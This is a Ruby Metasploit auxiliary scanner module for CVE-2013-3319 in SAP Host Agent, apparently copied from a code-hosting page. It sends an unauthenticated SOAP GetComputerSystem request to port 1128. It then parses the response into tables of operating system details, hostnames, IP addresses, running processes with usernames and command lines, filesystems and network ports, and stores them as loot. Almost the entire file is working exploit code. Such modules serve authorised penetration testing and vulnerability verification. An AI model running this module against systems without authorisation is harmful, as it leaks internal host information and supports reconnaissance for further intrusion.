379 lines
10 KiB
Ruby
379 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rexml/document'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SAP Host Agent Information Disclosure',
|
|
'Description' => %q{
|
|
This module attempts to retrieve computer and operating system
|
|
information from Host Agent through the SAP HostControl service.
|
|
},
|
|
'References' => [
|
|
['CVE', '2013-3319'],
|
|
['OSVDB', '95616'],
|
|
['BID', '61402'],
|
|
['URL', 'https://launchpad.support.sap.com/#/notes/1816536'],
|
|
['URL', 'https://labs.integrity.pt/advisories/cve-2013-3319/']
|
|
],
|
|
'Author' => [
|
|
'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(1128)
|
|
]
|
|
)
|
|
|
|
register_autofilter_ports([1128])
|
|
end
|
|
|
|
def initialize_tables
|
|
@computer_table = Msf::Ui::Console::Table.new(
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
'Header' => 'Remote Computer Listing',
|
|
'Prefix' => "\n",
|
|
'Postfix' => "\n",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'Names',
|
|
'Hostnames',
|
|
'IPAddresses'
|
|
]
|
|
)
|
|
|
|
@os_table = Msf::Ui::Console::Table.new(
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
'Header' => 'Remote OS Listing',
|
|
'Prefix' => "\n",
|
|
'Postfix' => "\n",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'Name',
|
|
'Type',
|
|
'Version',
|
|
'TotalMemSize',
|
|
'Load Avg 1m',
|
|
'Load Avg 5m',
|
|
'Load Avg 15m',
|
|
'CPUs',
|
|
'CPU User',
|
|
'CPU Sys',
|
|
'CPU Idle'
|
|
]
|
|
)
|
|
@net_table = Msf::Ui::Console::Table.new(
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
'Header' => 'Network Port Listing',
|
|
'Prefix' => "\n",
|
|
'Postfix' => "\n",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'ID',
|
|
'PacketsIn',
|
|
'PacketsOut',
|
|
'ErrorsIn',
|
|
'ErrorsOut',
|
|
'Collisions'
|
|
]
|
|
)
|
|
|
|
@process_table = Msf::Ui::Console::Table.new(
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
'Header' => 'Remote Process Listing',
|
|
'Prefix' => "\n",
|
|
'Postfix' => "\n",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'Name',
|
|
'PID',
|
|
'Username',
|
|
'Priority',
|
|
'Size',
|
|
'Pages',
|
|
'CPU',
|
|
'CPU Time',
|
|
'Command'
|
|
]
|
|
)
|
|
|
|
@fs_table = Msf::Ui::Console::Table.new(
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
'Header' => 'Remote Filesystem Listing',
|
|
'Prefix' => "\n",
|
|
'Postfix' => "\n",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'Name',
|
|
'Size',
|
|
'Available',
|
|
'Remote'
|
|
]
|
|
)
|
|
|
|
@net_table = Msf::Ui::Console::Table.new(
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
'Header' => 'Network Port Listing',
|
|
'Prefix' => "\n",
|
|
'Postfix' => "\n",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'ID',
|
|
'PacketsIn',
|
|
'PacketsOut',
|
|
'ErrorsIn',
|
|
'ErrorsOut',
|
|
'Collisions'
|
|
]
|
|
)
|
|
end
|
|
|
|
# Parses an array of mProperties elements. For every mProperties element,
|
|
# if there is an item with mValue ITSAMComputerSystem, then collect the
|
|
# values for the items with mName in (Name, Hostnames, IPAdresses)
|
|
def parse_computer_info(data)
|
|
success = false
|
|
data.each do |properties|
|
|
name, hostnames, addresses = ''
|
|
|
|
if properties.get_elements('item//mValue[text()="ITSAMComputerSystem"]').empty?
|
|
next
|
|
end
|
|
|
|
item_list = properties.get_elements('item')
|
|
item_list.each do |item|
|
|
item_name = item.get_elements('mName').first.text
|
|
item_value = item.get_elements('mValue').first.text
|
|
|
|
case item_name
|
|
when 'Name'
|
|
name = item_value
|
|
when 'Hostnames'
|
|
hostnames = item_value
|
|
when 'IPAdresses'
|
|
addresses = item_value
|
|
end
|
|
end
|
|
|
|
@computer_table << [name, hostnames, addresses]
|
|
|
|
success = true
|
|
end
|
|
|
|
return success
|
|
end
|
|
|
|
# Get the mValues of every item
|
|
def parse_values(data, ignore)
|
|
values = []
|
|
|
|
item_list = data.get_elements('item')
|
|
item_list.each do |item|
|
|
value_item = item.get_elements('mValue')
|
|
|
|
if value_item.empty?
|
|
value = ''
|
|
else
|
|
value = value_item.first.text
|
|
end
|
|
|
|
if value == ignore
|
|
next
|
|
end
|
|
|
|
values << value
|
|
end
|
|
return values
|
|
end
|
|
|
|
# Parses an array of mProperties elements and get the interesting info
|
|
# including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and
|
|
# ITSAMNetworkPort properties.
|
|
def parse_detailed_info(data)
|
|
data.each do |properties|
|
|
if !properties.get_elements('item//mValue[text()="ITSAMOperatingSystem"]').empty?
|
|
values = parse_values(properties, 'ITSAMOperatingSystem')
|
|
parse_os_info(values)
|
|
end
|
|
|
|
if !properties.get_elements('item//mValue[text()="ITSAMOSProcess"]').empty?
|
|
values = parse_values(properties, 'ITSAMOSProcess')
|
|
parse_process_info(values)
|
|
end
|
|
|
|
if !properties.get_elements('item//mValue[text()="ITSAMFileSystem"]').empty?
|
|
values = parse_values(properties, 'ITSAMFileSystem')
|
|
parse_fs_info(values)
|
|
end
|
|
|
|
if !properties.get_elements('item//mValue[text()="ITSAMNetworkPort"]').empty?
|
|
values = parse_values(properties, 'ITSAMNetworkPort')
|
|
parse_net_info(values)
|
|
end
|
|
end
|
|
end
|
|
|
|
def parse_os_info(os_info)
|
|
@os_table << [
|
|
os_info[0], # OS name
|
|
os_info[1], # OS type
|
|
os_info[2], # OS Version
|
|
os_info[7], # Total Memory
|
|
os_info[11], # Load Average (1m)
|
|
os_info[12], # Load Average (5m)
|
|
os_info[13], # Load Average (15m)
|
|
os_info[17], # Number of CPUs / Cores
|
|
os_info[18] + '%', # CPU usage (User)
|
|
os_info[19] + '%', # CPU usage (system)
|
|
os_info[20] + '%' # CPU idle
|
|
]
|
|
end
|
|
|
|
def parse_process_info(process_info)
|
|
@process_table << [
|
|
process_info[0], # Process name
|
|
process_info[1], # PID
|
|
process_info[2], # Username
|
|
process_info[3], # Priority
|
|
process_info[4], # Mem size
|
|
process_info[5], # pages
|
|
process_info[6] + '%', # CPU usage
|
|
process_info[7], # CPU time
|
|
process_info[8] # Command
|
|
]
|
|
end
|
|
|
|
def parse_fs_info(fs_info)
|
|
@fs_table << [
|
|
fs_info[0], # Filesystem Name
|
|
fs_info[2], # Size
|
|
fs_info[3], # Space Available
|
|
fs_info[6] # Is the filesystem remote ?
|
|
]
|
|
end
|
|
|
|
def parse_net_info(net_info)
|
|
@net_table << [
|
|
net_info[0], # Network Device ID
|
|
net_info[1], # Packets In
|
|
net_info[2], # Packets Out
|
|
net_info[3], # Errors In
|
|
net_info[4], # Errors Out
|
|
net_info[5] # Collisions
|
|
]
|
|
end
|
|
|
|
def run_host(rhost)
|
|
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")
|
|
|
|
data = '<?xml version="1.0" encoding="utf-8"?>'
|
|
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
|
|
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
|
|
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
|
|
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
|
|
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
|
|
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
|
|
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
|
|
|
|
begin
|
|
res = send_request_raw(
|
|
{
|
|
'uri' => '/',
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' => {
|
|
'Content-Type' => 'text/xml; charset=UTF-8'
|
|
}
|
|
}
|
|
)
|
|
rescue ::Rex::ConnectionError
|
|
vprint_error("#{rhost}:#{rport} - Unable to connect to service")
|
|
return
|
|
end
|
|
|
|
if res && (res.code == 500) && res.body =~ %r{<faultstring>(.*)</faultstring>}i
|
|
faultcode = ::Regexp.last_match(1).strip
|
|
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
|
|
return
|
|
|
|
elsif res && (res.code != 200)
|
|
vprint_error("#{rhost}:#{rport} - Error in response")
|
|
return
|
|
end
|
|
|
|
initialize_tables
|
|
|
|
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")
|
|
|
|
begin
|
|
response_xml = REXML::Document.new(res.body)
|
|
computer_info = response_xml.elements.to_a('//mProperties/') # Computer info
|
|
detailed_info = response_xml.elements.to_a('//item/mProperties/') # all other info
|
|
rescue StandardError
|
|
print_error("#{rhost}:#{rport} - Unable to parse XML response")
|
|
return
|
|
end
|
|
|
|
success = parse_computer_info(computer_info)
|
|
if success
|
|
print_good("#{rhost}:#{rport} - Information retrieved successfully")
|
|
else
|
|
print_error("#{rhost}:#{rport} - Unable to parse reply")
|
|
return
|
|
end
|
|
|
|
# assume that if we can parse the first part, it is a valid SAP XML response
|
|
parse_detailed_info(detailed_info)
|
|
|
|
sap_tables_clean = ''
|
|
|
|
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
|
|
sap_tables_clean << t.to_s
|
|
end
|
|
|
|
vprint_good("#{rhost}:#{rport} - Information retrieved:\n" + sap_tables_clean)
|
|
|
|
xml_raw = store_loot(
|
|
'sap.getcomputersystem',
|
|
'text/xml',
|
|
rhost,
|
|
res.body,
|
|
'sap_getcomputersystem.xml',
|
|
'SAP GetComputerSystem XML'
|
|
)
|
|
|
|
xml_parsed = store_loot(
|
|
'sap.getcomputersystem',
|
|
'text/plain',
|
|
rhost,
|
|
sap_tables_clean,
|
|
'sap_getcomputersystem.txt',
|
|
'SAP GetComputerSystem XML'
|
|
)
|
|
|
|
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
|
|
end
|
|
end
|